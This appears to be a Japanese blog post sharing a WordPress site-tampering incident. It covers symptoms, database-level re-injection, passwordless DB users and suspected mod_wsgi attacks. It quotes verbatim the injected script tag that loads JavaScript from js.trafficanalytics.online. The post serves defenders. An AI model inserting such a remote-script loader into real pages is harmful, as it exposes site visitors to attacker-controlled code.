最近サイト改ざんの対応案件が立て続けに入ったため、同じ被害に合わないために情報共有をします。
今回見つけたのは、以下のスクリプトをscriptタグで自動実行させるプログラムです。
wordpressのとあるページに埋め込まれていました。
”js.trafficanalytics.online/js/js.js”
侵入手口から推測すると
- wordpressのアカウント奪取
- FTPアカウント奪取
- DBアカウント奪取
- SSHアカウント奪取
- ミドルウェアのセキュリティホールをつく
これらのうちどこかのアカウント、セキュリティホールを利用してログイン、もしくはスクリプトを実行しているのではないかと思われます。
症状
wordpressのとあるページに
[code]
<script type=’text/javascript’ src=’http://js.trafficanalytics.online/js/js.js’></script>
[/code]
というコードが埋め込まれます。
同じコードが同じ場所に連続で埋め込まれていました。
連続で埋め込まれている(規則性がある)というところを見るとなんらかのプログラムされたものによって書き込まれていることが推測されます。
人為的な改ざんではないと考えられます。
さらに、wordpressでは、ログインページからログインし、記事やページを編集した場合はリビジョンを付けて世代管理されます。
世代管理されている状態をみるとその内容は3年前に変更されたということになっていました。
まずは、前の正しい状態に戻しました。
数時間後。。。
またもや改ざんされていました。
今度は、過去のリビジョンもすべて改ざん対象となっていました。
しかも日付は変更されていません。
このことから、直接DBに書き込んだことがわかります。
ということで、DBにログインしてユーザ情報を見てみたところ
すべてのユーザがパスワード無しでアクセスできる状態となっていました。
この設定をちゃんとし、
もちろん既存のユーザはすべて削除し、新規に追加。
パスワード設定しなおしました。
ここで解決ではありません。
どうやってDBにユーザを作成したのか。
そこが問題です。
ということは、
ミドルウェアのセキュリティホールが怪しい。
さらに、apacheのerror.logが参照できたので覗いてみるとmod_wsgiに対してかなりの数の攻撃がありました。おおよそここが原因ではないかと考えます。
普通にapache運用しているとmod_swgiなんて入れないんですがどうやらそこのレンタルサーバーやさんのコントロールパネルがphthonで動作するらしくそのために入っているっぽいです(推測)
とりあえずなんとなく原因がわかったのですが、
また攻撃されるかもしれません。
できる対応とすれば、残りは、FTPのパスワード変更です。
SSHもあればパスワード変更。
それでも改ざんされるようであれば、セキュリティホールを突かれているとしか考えられないので、おおよそmod_wsgiであ廊下と思います。
こうなればサーバー事業者に相談するしか方法はありません。
調査依頼ありましたら、ご相談に応じます。